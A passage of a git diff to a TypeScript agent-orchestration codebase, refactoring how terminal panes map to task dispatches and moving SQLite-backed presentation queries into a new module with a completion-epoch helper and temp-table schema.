+  ): readonly FleetAgentStatusEvidence[]
   getSessionRecords(): AgentSessionRecordReader | null
 }
 
-type DispatchProjectionOptions = {
+export type DispatchProjectionOptions = {
   // Handles are process-local; pane identity still names the Dispatch after restart.
   paneKey?: string
   evidence?: FleetAgentStatusEvidence
@@ -52,66 +58,82 @@ export class RuntimeAgentOrchestrationProjection {
   constructor(private readonly deps: RuntimeAgentOrchestrationDependencies) {}
 
   buildByPaneKey(): Record<string, AgentStatusOrchestrationContext> | undefined {
-    const db = this.deps.getDb()
-    if (!db || db.hasAnyDispatchContexts?.() === false) {
+    const raw = this.deps.getDb()
+    const source = raw?.db ? orchestrationProjectionFacts(raw) : undefined
+    if (raw?.db && !source) {
+      return undefined
+    }
+    const db = source?.view ?? raw
+    if (!db || (source ? source.rows().next().done : db.hasAnyDispatchContexts?.() === false)) {
       return undefined
     }
     const scope = createOrchestrationProjectionScope(db, this.deps)
     const contexts: Record<string, AgentStatusOrchestrationContext> = {}
-    const statuses = this.deps.getAgentStatusSnapshot()
+    const terminals = new Map<string, Iterable<string>>()
+    const terminalCandidates = this.deps.captureTerminalCandidates?.()
+    const expanded = new Set<ReturnType<OrchestrationTerminalCandidates>>()
+    for (const candidate of source?.rows() ?? []) {
+      const handle =
+        candidate.assignee_handle && this.deps.getWorktreeId(candidate.assignee_handle) !== null
+          ? candidate.assignee_handle
+          : candidate.assignee_pane_key
+            ? this.deps.getHandleForPaneKey(candidate.assignee_pane_key)
+            : null
+      const paneKey = handle ? this.deps.getPaneKey(handle) : null
+      for (const address of new Set([paneKey, candidate.assignee_pane_key])) {
+        if (!address) {
+          continue
+        }
+        const groups =
+          terminalCandidates?.(address) ??
+          (handle && paneKey ? [{ paneKey, handles: [handle] }] : [])
+        if (expanded.has(groups)) {
+          continue
+        }
+        expanded.add(groups)
+        for (const group of groups) {
+          if (!terminals.has(group.paneKey)) {
+            terminals.set(group.paneKey, group.handles)
+          }
+        }
+      }
+    }
+    const statuses =
+      source && this.deps.getAgentStatusForPaneKey
+        ? [
+            ...new Set([
+              ...terminals.keys(),
+              ...[...source.rows()].flatMap((row) =>
+                row.assignee_orca_session_id ? [scope.resolve(row.assignee_orca_session_id)] : []
+              )
+            ])
+          ].flatMap((pane) =>
+            this.deps.getAgentStatusForPaneKey!(pane, (key) => this.identityContext(key, db, scope))
+          )
+        : this.deps.getAgentStatusSnapshot()
     const evidenceByPaneKey = new Map(
       statuses.map((evidence) => [evidence.activity.paneKey, evidence])
     )
     const sessions = createDispatchSessionLivenessReader(db, statuses, scope.records)
     const observeSession = sessions.observe
-    // Batch attention queries below; per-pane reads would repeat every 16ms publication.
     const batchAttention = typeof db.getWorkerAttentionFactsForDispatches === 'function'
-    const queriedHandles = new Set<string>()
-    for (const leaf of this.deps.getLeaves()) {
-      if (!leaf.ptyId) {
-        continue
-      }
-      const handle = this.deps.issueLeafHandle(leaf)
-      queriedHandles.add(handle)
-      const paneKey = this.deps.makePaneKey(leaf)
-      const context = this.getForHandle(
-        handle,
-        db,
-        {
-          paneKey,
-          evidence: evidenceByPaneKey.get(paneKey),
-          observeSession,
-          deferAttention: batchAttention
-        },
-        scope
-      )
-      if (context) {
-        contexts[paneKey] = context
-      }
-    }
-    for (const pty of this.deps.getPtys()) {
-      const { paneKey } = this.deps.paneOf(pty)
-      if (!paneKey || contexts[paneKey]) {
-        continue
-      }
-      const handle = this.deps.issuePtyHandle(pty)
-      if (queriedHandles.has(handle)) {
-        continue
-      }
-      queriedHandles.add(handle)
-      const context = this.getForHandle(
-        handle,
-        db,
-        {
-          paneKey,
-          evidence: evidenceByPaneKey.get(paneKey),
-          observeSession,
-          deferAttention: batchAttention
-        },
-        scope
-      )
-      if (context) {
-        contexts[paneKey] = context
+    for (const [paneKey, handles] of terminals) {
+      for (const handle of handles) {
+        const context = this.getForHandle(
+          handle,
+          db,
+          {
+            paneKey,
+            evidence: evidenceByPaneKey.get(paneKey),
+            observeSession,
+            deferAttention: batchAttention
+          },
+          scope
+        )
+        if (context) {
+          contexts[paneKey] = context
+          break
+        }
       }
     }
     for (const [paneKey, { dispatch }] of scope.sessionDispatches()) {
@@ -159,19 +181,106 @@ export class RuntimeAgentOrchestrationProjection {
     return contexts
   }
 
+  getForPaneKey(paneKey: string): AgentStatusOrchestrationContext | undefined {
+    const raw = this.deps.getDb()
+    if (!raw) {
+      return undefined
+    }
+    const source = raw.db ? orchestrationProjectionFacts(raw) : undefined
+    if (raw.db && !source) {
+      return undefined
+    }
+    const db = source?.view ?? raw
+    const scope = createOrchestrationProjectionScope(db, this.deps)
+    const statuses =
+      this.deps.getAgentStatusForPaneKey?.(paneKey, (key) =>
+        this.identityContext(key, db, scope)
+      ) ?? this.deps.getAgentStatusSnapshot().filter((entry) => entry.activity.paneKey === paneKey)
+    const options = {
+      paneKey,
+      evidence: statuses.at(-1),
+      observeSession: createDispatchSessionLivenessReader(db, statuses, scope.records).observe
+    }
+    const groups = this.deps.captureTerminalCandidates?.()(paneKey)
+    const fallback = this.deps.getHandleForPaneKey(paneKey)
+    const handles =
+      groups?.find((group) => group.paneKey === paneKey)?.handles ?? (fallback ? [fallback] : [])
+    for (const handle of handles) {
+      const terminal = this.getForHandle(handle, db, options, scope)
+      if (terminal) {
+        return terminal
+      }
+    }
+    const parsed = parsePaneKey(paneKey)
+    const prefix = 'structured-agent-session-'
+    if (!parsed?.tabId.startsWith(prefix)) {
+      return undefined
+    }
+    const session = parsed.tabId.slice(prefix.length)
+    if (structuredAgentSessionPaneKey(structuredAgentSessionTabId(session), session) !== paneKey) {
+      return undefined
+    }
+    const ids = new Set([session])
+    const visit = (id: string) => {
+      for (const predecessor of scope.records?.listClearedFrom?.(id) ?? []) {
+        if (!ids.has(predecessor)) {
+          ids.add(predecessor)
+          visit(predecessor)
+        }
+      }
+    }
+    visit(session)
+    // Old record readers have no predecessor index; only their compatibility path enumerates.
+    if (scope.records && !scope.records.listClearedFrom) {
+      for (const record of scope.records.listRecords()) {
+        ids.add(record.sessionId)
+      }
+    }
+    const candidate = scope.sessionDispatches([...ids]).get(paneKey)
+    return candidate
+      ? this.projectDispatch(
+          candidate.dispatch,
+          candidate.dispatch.assignee_handle ?? '',
+          db,
+          options,
+          scope
+        )
+      : undefined
+  }
+
+  private identityContext(
+    paneKey: string,
+    db: OrchestrationDb,
+    scope: ReturnType<typeof createOrchestrationProjectionScope>
+  ) {
+    const handle = this.deps.getHandleForPaneKey(paneKey)
+    return handle
+      ? this.getForHandle(handle, db, { paneKey, deferAttention: true }, scope)
+      : undefined
+  }
+
   getForHandle(
     handle: string,
     db = this.deps.getDb(),
     options: DispatchProjectionOptions = {},
     scope = createOrchestrationProjectionScope(db, this.deps)
   ): AgentStatusOrchestrationContext | undefined {
+    const facts = db?.db ? orchestrationProjectionFacts(db, scope.now) : undefined
+    if (db?.db && !facts) {
+      return undefined
+    }
+    if (facts && facts.view !== db) {
+      db = facts.view
+      scope = createOrchestrationProjectionScope(db, this.deps, scope.now)
+    }
     const { paneKey } = options
     const dispatch =
       db?.getActiveDispatchForTerminal?.(handle, paneKey) ?? this.getRecent(handle, db, scope.now)
     if (!dispatch) {
       return undefined
     }
-    return this.projectDispatch(dispatch, handle, db, options, scope)
+    const read = () => this.projectDispatch(dispatch, handle, db, options, scope)
+    return facts ? facts.withDispatch(dispatch.id, read) : read()
   }
 
   private projectDispatch(
@@ -181,127 +290,15 @@ export class RuntimeAgentOrchestrationProjection {
     options: DispatchProjectionOptions,
     scope: ReturnType<typeof createOrchestrationProjectionScope>
   ): AgentStatusOrchestrationContext {
-    const { paneKey, evidence, deferAttention = false } = options
-    const session = options.observeSession?.(dispatch)
-    const task = scope.task(dispatch.task_id, dispatch.run_id)
-    const display = crewTaskDisplay(task)
-    const owningRun =
-      task?.run_id && task.run_id === dispatch.run_id ? scope.run(dispatch.run_id) : undefined
-    const runCoordinatorHandle = owningRun?.coordinator_handle ?? undefined
-    const legacyActiveRun =
-      owningRun?.legacy === 1 && (dispatch.status === 'pending' || dispatch.status === 'dispatched')
-        ? db?.getActiveCoordinatorRun?.()
-        : undefined
-    const handleWorktreeId = legacyActiveRun ? this.deps.getWorktreeId(handle) : null
-    const coordinatorWorktreeId = legacyActiveRun
-      ? this.deps.getWorktreeId(legacyActiveRun.coordinator_handle)
-      : null
-    const scopedLegacyRun =
-      legacyActiveRun &&
-      handleWorktreeId &&
-      coordinatorWorktreeId &&
-      worktreeIdsEqual(coordinatorWorktreeId, handleWorktreeId)
-        ? legacyActiveRun
-        : undefined
-    const coordinatorHandle = runCoordinatorHandle ?? scopedLegacyRun?.coordinator_handle
-    const orchestrationRunId = owningRun?.legacy === 0 ? owningRun.id : scopedLegacyRun?.id
-    const creatorPaneKey = task?.created_by_pane_key
-    const creatorPaneHandle = creatorPaneKey ? this.deps.getHandleForPaneKey(creatorPaneKey) : null
-    const creatorAuthority = creatorPaneHandle
-      ? this.deps.getDispatchAuthority(creatorPaneHandle)
-      : null
-    const storedCreatorPane = creatorPaneKey ? parsePaneKey(creatorPaneKey) : null
-    const currentCreatorPane = creatorAuthority?.paneKey
-      ? parsePaneKey(creatorAuthority.paneKey)
-      : null
-    const sameCreatorPane = Boolean(
-      creatorPaneKey &&
-      creatorAuthority?.paneKey &&
-      (creatorPaneKey === creatorAuthority.paneKey ||
-        (storedCreatorPane &&
-          currentCreatorPane &&
-          storedCreatorPane.leafId === currentCreatorPane.leafId))
-    )
-    const paneRuns = creatorPaneKey ? scope.paneRuns(creatorPaneKey) : []
-    const paneRun = paneRuns.find((run) => run.id === owningRun?.id) ?? paneRuns[0]
-    const sameRunCreatorDispatch = Boolean(
-      task?.creator_dispatch_id &&
-      task.creator_dispatch_run_id === owningRun?.id &&
-      task.creator_dispatch_pane_key &&
-      task.creator_dispatch_process_incarnation === task.created_by_process_incarnation &&
-      parsePaneKey(task.creator_dispatch_pane_key)?.leafId === storedCreatorPane?.leafId
-    )
-    // Durable Run membership identifies the creator; live incarnation/handle checks only decide mutation authority.
-    const creatorLineageInRun = Boolean(
-      owningRun?.legacy === 0 &&
-      task?.created_by_run_generation === owningRun.consumer_generation &&
-      creatorPaneKey &&
-      (paneRun
-        ? paneRun.id === owningRun.id &&
-          paneRun.consumer_generation === task.created_by_run_generation
-        : sameRunCreatorDispatch)
-    )
-    const currentCreatorHandle =
-      creatorLineageInRun &&
-      task?.created_by_process_incarnation === creatorAuthority?.processIncarnation &&
-      sameCreatorPane
-        ? (creatorPaneHandle ?? undefined)
-        : undefined
-    const selfSession = dispatch.assignee_orca_session_id
-    const selfPane = selfSession ? scope.resolve(selfSession) : paneKey
-    const coordinatorSession =
-      owningRun?.legacy === 0 ? currentRunCoordinatorOrcaSessionId(owningRun) : null
-    // Why: a chat party nests by its visible row; its handle and minted pane key match no row.
-    const coordinator: { handle?: string; paneKey?: string } = coordinatorSession
-      ? { paneKey: scope.resolve(coordinatorSession) }
-      : scope.resolveTerminal(
-          coordinatorHandle,
-          owningRun?.legacy === 0 ? owningRun.coordinator_pane_key : null
-        )
-    const creatorSession =
-      dispatch.creator_orca_session_id && dispatch.creator_orca_session_id !== selfSession
-        ? dispatch.creator_orca_session_id
-        : null
-    const creator: { handle?: string; paneKey?: string } | undefined = creatorSession
-      ? { paneKey: scope.resolve(creatorSession) }
-      : currentCreatorHandle
-        ? scope.resolveTerminal(currentCreatorHandle, creatorAuthority?.paneKey ?? null)
-        : creatorLineageInRun
-          ? scope.resolveTerminal(creatorPaneHandle, creatorPaneKey ?? null)
-          : undefined
-    const coordinatorIsSelf =
-      coordinator.handle === handle ||
-      (coordinatorSession !== null && coordinatorSession === selfSession) ||
-      (paneKey !== undefined &&
-        coordinator.paneKey !== undefined &&
-        coordinator.paneKey === paneKey)
-    // Why: a creator whose pane is gone still has a coordinator to nest under.
-    const parent =
-      creatorFirstParent(
-        (creator?.handle || (creatorSession && creator?.paneKey)) &&
-          (!selfPane || creator?.paneKey !== selfPane) &&
-          creator?.handle !== handle
-          ? creator
-          : undefined,
-        coordinator,
-        coordinatorIsSelf || coordinator.paneKey === selfPane
-      ) ?? {}
-    const attention =
-      !deferAttention && db && typeof db.getWorkerAttentionFacts === 'function'
-        ? buildWorkerAttentionContext({ db, dispatch, task, evidence, session, now: scope.now })
-        : undefined
-    return {
-      taskId: dispatch.task_id,
-      dispatchId: dispatch.id,
-      dispatchStatus: dispatch.status,
-      ...(display.taskTitle ? { taskTitle: display.taskTitle } : {}),
-      ...(display.displayName ? { displayName: display.displayName } : {}),
-      ...(parent.handle ? { parentTerminalHandle: parent.handle } : {}),
-      ...(parent.paneKey ? { parentPaneKey: parent.paneKey } : {}),
-      ...(coordinator.handle ? { coordinatorHandle: coordinator.handle } : {}),
-      ...(orchestrationRunId ? { orchestrationRunId } : {}),
-      ...(attention ? { attention } : {})
+    const facts = db?.db ? orchestrationProjectionFacts(db, scope.now) : undefined
+    if (facts && db !== facts.view) {
+      db = facts.view
     }
+    return facts
+      ? facts.withDispatch(dispatch.id, () =>
+          composeOrchestrationDispatch(this.deps, dispatch, handle, db, options, scope)
+        )
+      : composeOrchestrationDispatch(this.deps, dispatch, handle, db, options, scope)
   }
 
   private getRecent(handle: string, db: OrchestrationDb | null, now: number) {
diff --git a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-scope.ts b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-scope.ts
index b00b5da501a..0d10868dac3 100644
--- a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-scope.ts
+++ b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-scope.ts
@@ -5,24 +5,24 @@ import { isStructuredWorkerHandle } from '../../../../shared/orchestration/worke
 
 export function createOrchestrationProjectionScope(
   db: OrchestrationDb | null,
-  deps: RuntimeAgentOrchestrationDependencies
+  deps: RuntimeAgentOrchestrationDependencies,
+  now = Date.now()
 ) {
   const tasks = new Map<string, ReturnType<OrchestrationDb['getTask']>>()
   const runs = new Map<string, ReturnType<OrchestrationDb['getRun']>>()
   const panes = new Map<string, ReturnType<OrchestrationDb['runsBoundToPane']>>()
-  const now = Date.now()
   const records = deps.getSessionRecords()
   const resolve = createCanonicalSessionPaneResolver(records)
   return {
     now,
     records,
     resolve,
-    sessionDispatches: () => {
+    sessionDispatches: (sessions?: readonly string[]) => {
       const destinations = new Map<
         string,
         ReturnType<OrchestrationDb['listSessionDispatchesForPresentation']>[number]
       >()
-      for (const candidate of db?.listSessionDispatchesForPresentation(now) ?? []) {
+      for (const candidate of db?.listSessionDispatchesForPresentation(now, sessions) ?? []) {
         if (!candidate.dispatch.assignee_orca_session_id) {
           continue
         }
diff --git a/src/main/runtime/orchestration/db/attach-orchestration-db-methods.ts b/src/main/runtime/orchestration/db/attach-orchestration-db-methods.ts
index 7d5bc369062..68624a6ade3 100644
--- a/src/main/runtime/orchestration/db/attach-orchestration-db-methods.ts
+++ b/src/main/runtime/orchestration/db/attach-orchestration-db-methods.ts
@@ -11,6 +11,7 @@ import { attachFederationRelayAck } from './federation/federation-relay-ack'
 import { attachLegacyRemoteDbMethods } from '../legacy-remote/legacy-remote-db-methods'
 import { attachLegacyRemoteHomeDbMethods } from '../legacy-remote-home/legacy-remote-home-db-methods'
 import { attachPeerMailStore } from './federation/peer-mail-store'
+import { attachPeerRunStore } from './peer-runs/peer-run-store'
 import { attachLegacyAskOperation } from './legacy/legacy-ask-operation'
 import { attachLegacyCompatibilityCandidates } from './legacy/legacy-compatibility-candidates'
 import { attachLegacyCompatibilityPrincipals } from './legacy/legacy-compatibility-principals'
@@ -107,6 +108,7 @@ export function attachOrchestrationDbMethods(ctor: { prototype: object }): void
   attachLegacyRemoteDbMethods(ctor)
   attachFederationRelayAck(ctor)
   attachPeerMailStore(ctor)
+  attachPeerRunStore(ctor)
   attachWorkerTerminalResourceStore(ctor)
   attachWorkerTerminalTransfer(ctor)
   attachWorkerTerminalRelease(ctor)
diff --git a/src/main/runtime/orchestration/db/dispatch-context/dispatch-completion-epoch.ts b/src/main/runtime/orchestration/db/dispatch-context/dispatch-completion-epoch.ts
new file mode 100644
index 00000000000..6d702735967
--- /dev/null
+++ b/src/main/runtime/orchestration/db/dispatch-context/dispatch-completion-epoch.ts
@@ -0,0 +1,8 @@
+/** Preserve the existing ISO/local and SQLite/UTC completion timestamp contract. */
+export function dispatchCompletionEpoch(value: unknown): number | null {
+  if (typeof value !== 'string') {
+    return null
+  }
+  const epoch = Date.parse(value.includes('T') ? value : `${value.replace(' ', 'T')}Z`)
+  return Number.isFinite(epoch) ? epoch : null
+}
diff --git a/src/main/runtime/orchestration/db/dispatch-context/dispatch-lookup.ts b/src/main/runtime/orchestration/db/dispatch-context/dispatch-lookup.ts
index 60a50128f61..87b1370e9d0 100644
--- a/src/main/runtime/orchestration/db/dispatch-context/dispatch-lookup.ts
+++ b/src/main/runtime/orchestration/db/dispatch-context/dispatch-lookup.ts
@@ -1,4 +1,4 @@
-import { AGENT_STATUS_STALE_AFTER_MS } from '../../../../../shared/agent-status/contracts/agent-status-freshness'
+import { listSessionDispatchesForPresentation } from './dispatch-presentation'
 import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import type { DispatchContextRow } from '../orchestration-records'
 import {
@@ -30,120 +30,17 @@ const ASSIGNEE_SQL = {
   latest: assigneeLookups('')
 }
 
-function presentationAddressKey(column: string, address: string | null): string {
-  return `${column}:${address}`
-}
-
-/** Preserve the terminal projection's exact ISO/SQLite recency contract, including future dates. */
-export function isRecentPresentationDispatch(dispatch: DispatchContextRow, now: number): boolean {
-  if (!dispatch.completed_at || dispatch.status === 'pending' || dispatch.status === 'dispatched') {
-    return false
-  }
-  const completedAt = Date.parse(
-    dispatch.completed_at.includes('T')
-      ? dispatch.completed_at
-      : `${dispatch.completed_at.replace(' ', 'T')}Z`
-  )
-  return Number.isFinite(completedAt) && now - completedAt <= AGENT_STATUS_STALE_AFTER_MS
-}
-
-/** Active first, otherwise latest per address; an older eligible completion never resurfaces. */
-export function listSessionDispatchesForPresentation(
+export function hasRecordedStructuredWorkerSession(
   this: OrchestrationDb,
-  now: number
-): { dispatch: DispatchContextRow; order: number }[] {
-  const lowerBound = new Date(now - AGENT_STATUS_STALE_AFTER_MS - 86_400_000).toISOString()
-  const rawCandidates = this.db
-    .prepare(`
-    SELECT rowid AS presentation_order, ${DISPATCH_CONTEXT_COLUMN_LIST} FROM dispatch_contexts
-      INDEXED BY idx_dispatch_session_presentation
-      WHERE assignee_orca_session_id IS NOT NULL AND status IN ('pending', 'dispatched')
-    UNION ALL
-    SELECT rowid AS presentation_order, ${DISPATCH_CONTEXT_COLUMN_LIST} FROM dispatch_contexts
-      INDEXED BY idx_dispatch_session_presentation
-      WHERE assignee_orca_session_id IS NOT NULL
-        AND status IN ('completed', 'failed', 'circuit_broken') AND completed_at >= ?
-  `)
-    .all(lowerBound)
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: The complete schema-pinned Dispatch projection restores the persisted-row contract; the default integer wrapper normalizes rowid to a safe number.
-  const candidates = rawCandidates as (DispatchContextRow & { presentation_order: number })[]
-  const newestActiveOrderBySession = new Map<string, number>()
-  const selected = new Map<string, (typeof candidates)[number]>()
-  for (const candidate of candidates) {
-    // Include handled rows even when a newer non-public row later suppresses their address.
-    if (candidate.status === 'pending' || candidate.status === 'dispatched') {
-      const session = candidate.assignee_orca_session_id
-      if (session) {
-        newestActiveOrderBySession.set(
-          session,
-          Math.max(newestActiveOrderBySession.get(session) ?? 0, candidate.presentation_order)
-        )
-      }
-    }
-    const address = presentationAddressKey(
-      candidate.assignee_handle ? 'assignee_handle' : 'assignee_orca_session_id',
-      candidate.assignee_handle || candidate.assignee_orca_session_id
-    )
-    const previous = selected.get(address)
-    const active = candidate.status === 'pending' || candidate.status === 'dispatched'
-    const previousActive = previous?.status === 'pending' || previous?.status === 'dispatched'
-    if (
-      !previous ||
-      (active && !previousActive) ||
-      (active === previousActive && candidate.presentation_order > previous.presentation_order)
-    ) {
-      selected.set(address, candidate)
-    }
-  }
-  const eligible = [...selected].filter(
-    ([, candidate]) =>
-      candidate.status === 'pending' ||
-      candidate.status === 'dispatched' ||
-      isRecentPresentationDispatch(candidate, now)
+  session: string,
+  process: string
+): boolean {
+  return Boolean(
+    this.db
+      .prepare(`SELECT 1 FROM dispatch_contexts
+    WHERE assignee_orca_session_id = ? AND process_incarnation = ? LIMIT 1`)
+      .get(session, process)
   )
-  const latestOrderByAddress = new Map<string, number>()
-  for (const [column, active] of [
-    ['assignee_handle', true],
-    ['assignee_handle', false],
-    ['assignee_orca_session_id', false]
-  ] as const) {
-    const addresses = eligible
-      .filter(
-        ([, candidate]) =>
-          Boolean(candidate.assignee_handle) === (column === 'assignee_handle') &&
-          (candidate.status === 'pending' || candidate.status === 'dispatched') === active
-      )
-      .map(([, candidate]) => candidate[column])
-    if (addresses.length === 0) {
-      continue
-    }
-    // Batch native calls, retaining one equality-index seek per selected address.
-    const latest = this.db
-      .prepare(`SELECT requested.value AS address, (SELECT rowid AS n FROM dispatch_contexts
-        WHERE ${column} = requested.value
-        ${active ? "AND status IN ('pending', 'dispatched')" : ''}
-        ORDER BY rowid DESC LIMIT 1) AS n FROM json_each(?) requested`)
-      .all(JSON.stringify(addresses))
-    for (const row of latest) {
-      if (typeof row.address === 'string' && typeof row.n === 'number') {
-        latestOrderByAddress.set(presentationAddressKey(column, row.address), row.n)
-      }
-    }
-  }
-  const result: { dispatch: DispatchContextRow; order: number }[] = []
-  for (const [address, candidate] of eligible) {
-    const { presentation_order, ...dispatch } = candidate
-    const active = dispatch.status === 'pending' || dispatch.status === 'dispatched'
-    const latest =
-      active && !candidate.assignee_handle
-        ? newestActiveOrderBySession.get(candidate.assignee_orca_session_id ?? '')
-        : latestOrderByAddress.get(address)
-    if (latest !== presentation_order) {
-      continue
-    }
-    result.push({ dispatch, order: presentation_order })
-  }
-  return result
 }
 
 export function getActiveDispatchForTerminal(
@@ -303,6 +200,7 @@ export function hasOpenHelperDispatch(this: OrchestrationDb, dispatchId: string)
 }
 
 export type DispatchLookupMethods = {
+  hasRecordedStructuredWorkerSession: typeof hasRecordedStructuredWorkerSession
   getActiveDispatchForTerminal: typeof getActiveDispatchForTerminal
   hasAnyDispatchContexts: typeof hasAnyDispatchContexts
   getActiveDispatchForIdentity: typeof getActiveDispatchForIdentity
@@ -316,6 +214,7 @@ export type DispatchLookupMethods = {
 
 export function attachDispatchLookup(ctor: { prototype: object }): void {
   Object.assign(ctor.prototype, {
+    hasRecordedStructuredWorkerSession,
     getActiveDispatchForTerminal,
     hasAnyDispatchContexts,
     getActiveDispatchForIdentity,
diff --git a/src/main/runtime/orchestration/db/dispatch-context/dispatch-presentation.ts b/src/main/runtime/orchestration/db/dispatch-context/dispatch-presentation.ts
new file mode 100644
index 00000000000..1781b43ce64
--- /dev/null
+++ b/src/main/runtime/orchestration/db/dispatch-context/dispatch-presentation.ts
@@ -0,0 +1,134 @@
+import { AGENT_STATUS_STALE_AFTER_MS } from '../../../../../shared/agent-status/contracts/agent-status-freshness'
+import type { DispatchContextRow } from '../orchestration-records'
+import type { OrchestrationDb } from '../orchestration-db'
+import {
+  DISPATCH_CONTEXT_COLUMN_LIST,
+  DISPATCH_CONTEXT_COLUMNS,
+  selectColumns
+} from '../row-column-lists'
+import { dispatchCompletionEpoch } from './dispatch-completion-epoch'
+import { withPresentationCompletionSource } from './presentation-completion-source'
+import { completionTable } from './presentation-completion-schema'
+function presentationAddressKey(column: string, address: string | null): string {
+  return `${column}:${address}`
+}
+
+/** Preserve the terminal projection's exact ISO/SQLite recency contract, including future dates. */
+export function isRecentPresentationDispatch(dispatch: DispatchContextRow, now: number): boolean {
+  if (!dispatch.completed_at || dispatch.status === 'pending' || dispatch.status === 'dispatched') {
+    return false
+  }
+  const completedAt = dispatchCompletionEpoch(dispatch.completed_at)
+  return completedAt !== null && now - completedAt <= AGENT_STATUS_STALE_AFTER_MS
+}
+
+export type PresentationDispatchCandidate = DispatchContextRow & { presentation_order: number }
+
+/** Active/recent source facts shared by the keyed index and session presentation. */
+export function readPresentationDispatchCandidates(
+  db: OrchestrationDb,
+  now: number
+): PresentationDispatchCandidate[] {
+  return withPresentationCompletionSource(db.db, now, () => {
+    const rows = db.db
+      .prepare(`SELECT rowid AS presentation_order, ${DISPATCH_CONTEXT_COLUMN_LIST}
+    FROM dispatch_contexts WHERE status IN ('pending', 'dispatched')
+    UNION ALL SELECT d.rowid AS presentation_order, ${selectColumns(DISPATCH_CONTEXT_COLUMNS, 'd')}
+    FROM temp.${completionTable} c INDEXED BY orchestration_presentation_completion_epoch
+    CROSS JOIN dispatch_contexts d ON d.id = c.id WHERE c.epoch >= ?`)
+      .all(now - AGENT_STATUS_STALE_AFTER_MS)
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: complete schema-owned dispatch projection plus SQLite rowid.
+    return (rows as PresentationDispatchCandidate[]).sort(
+      (a, b) => a.presentation_order - b.presentation_order
+    )
+  })
+}
+
+/** Active first, otherwise latest per address; an older eligible completion never resurfaces. */
+export function listSessionDispatchesForPresentation(
+  this: OrchestrationDb,
+  now: number,
+  sessions?: readonly string[]
+): { dispatch: DispatchContextRow; order: number }[] {
+  const candidates = readPresentationDispatchCandidates(this, now).filter(
+    (row) =>
+      row.assignee_orca_session_id && (!sessions || sessions.includes(row.assignee_orca_session_id))
+  )
+  const newestActiveOrderBySession = new Map<string, number>()
+  const selected = new Map<string, (typeof candidates)[number]>()
+  for (const candidate of candidates) {
+    // Include handled rows even when a newer non-public row later suppresses their address.
+    if (candidate.status === 'pending' || candidate.status === 'dispatched') {
+      const session = candidate.assignee_orca_session_id
+      if (session) {
+        newestActiveOrderBySession.set(
+          session,
+          Math.max(newestActiveOrderBySession.get(session) ?? 0, candidate.presentation_order)
+        )
+      }
+    }
+    const address = presentationAddressKey(
+      candidate.assignee_handle ? 'assignee_handle' : 'assignee_orca_session_id',
+      candidate.assignee_handle || candidate.assignee_orca_session_id
+    )
+    const previous = selected.get(address)
+    const active = candidate.status === 'pending' || candidate.status === 'dispatched'
+    const previousActive = previous?.status === 'pending' || previous?.status === 'dispatched'
+    if (
+      !previous ||
+      (active && !previousActive) ||
+      (active === previousActive && candidate.presentation_order > previous.presentation_order)
+    ) {
+      selected.set(address, candidate)
+    }
+  }
+  const eligible = [...selected].filter(
+    ([, candidate]) =>
+      candidate.status === 'pending' ||
+      candidate.status === 'dispatched' ||
+      isRecentPresentationDispatch(candidate, now)
+  )
+  const latestOrderByAddress = new Map<string, number>()
+  for (const [column, active] of [
+    ['assignee_handle', true],
+    ['assignee_handle', false],
+    ['assignee_orca_session_id', false]
+  ] as const) {
+    const addresses = eligible
+      .filter(
+        ([, candidate]) =>
+          Boolean(candidate.assignee_handle) === (column === 'assignee_handle') &&
+          (candidate.status === 'pending' || candidate.status === 'dispatched') === active
+      )
+      .map(([, candidate]) => candidate[column])
+    if (addresses.length === 0) {
+      continue
+    }
+    // Batch native calls, retaining one equality-index seek per selected address.
+    const latest = this.db
+      .prepare(`SELECT requested.value AS address, (SELECT rowid AS n FROM dispatch_contexts
+        WHERE ${column} = requested.value
+        ${active ? "AND status IN ('pending', 'dispatched')" : ''}
+        ORDER BY rowid DESC LIMIT 1) AS n FROM json_each(?) requested`)
+      .all(JSON.stringify(addresses))
+    for (const row of latest) {
+      if (typeof row.address === 'string' && typeof row.n === 'number') {
+        latestOrderByAddress.set(presentationAddressKey(column, row.address), row.n)
+      }
+    }
+  }
+  const result: { dispatch: DispatchContextRow; order: number }[] = []
+  for (const [address, candidate] of eligible) {
+    const { presentation_order, ...dispatch } = candidate
+    const active = dispatch.status === 'pending' || dispatch.status === 'dispatched'
+    const latest =
+      active && !candidate.assignee_handle
+        ? newestActiveOrderBySession.get(candidate.assignee_orca_session_id ?? '')
+        : latestOrderByAddress.get(address)
+    if (latest !== presentation_order) {
+      continue
+    }
+    result.push({ dispatch, order: presentation_order })
+  }
+  return result
+}
diff --git a/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-schema.ts b/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-schema.ts
new file mode 100644
index 00000000000..ca393021e15
--- /dev/null
+++ b/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-schema.ts
@@ -0,0 +1,32 @@
+import { AGENT_STATUS_STALE_AFTER_MS } from '../../../../../shared/agent-status/contracts/agent-status-freshness'
+
+export const completionTable = 'orchestration_presentation_completions'
+export const completionState = 'orchestration_presentation_completion_state'
+
+const operationNow = `(SELECT operation_now FROM ${completionState} WHERE id = 1)`
+const expire = `DELETE FROM ${completionTable} WHERE epoch < ${operationNow} - ${AGENT_STATUS_STALE_AFTER_MS};`
+const clock = `UPDATE ${completionState} SET operation_now = orchestration_presentation_now() WHERE id = 1;
+  UPDATE ${completionState} SET recovery = recovery OR operation_now < stamp,
+    stamp = operation_now WHERE id = 1; ${expire}`
+const replace = `INSERT INTO ${completionTable}(id, epoch)
+  SELECT NEW.id, epoch FROM (SELECT orchestration_completion_epoch(NEW.completed_at) AS epoch)
+  WHERE NEW.status NOT IN ('pending', 'dispatched')
+    AND epoch >= ${operationNow} - ${AGENT_STATUS_STALE_AFTER_MS};`
+
+export const presentationCompletionSchema = `
+  CREATE TEMP TABLE IF NOT EXISTS ${completionTable}(id TEXT PRIMARY KEY, epoch REAL NOT NULL);
+  CREATE INDEX IF NOT EXISTS temp.orchestration_presentation_completion_epoch ON ${completionTable}(epoch, id);
+  CREATE TEMP TABLE IF NOT EXISTS ${completionState}(
+    id INTEGER PRIMARY KEY CHECK(id = 1), ready INTEGER NOT NULL DEFAULT 0,
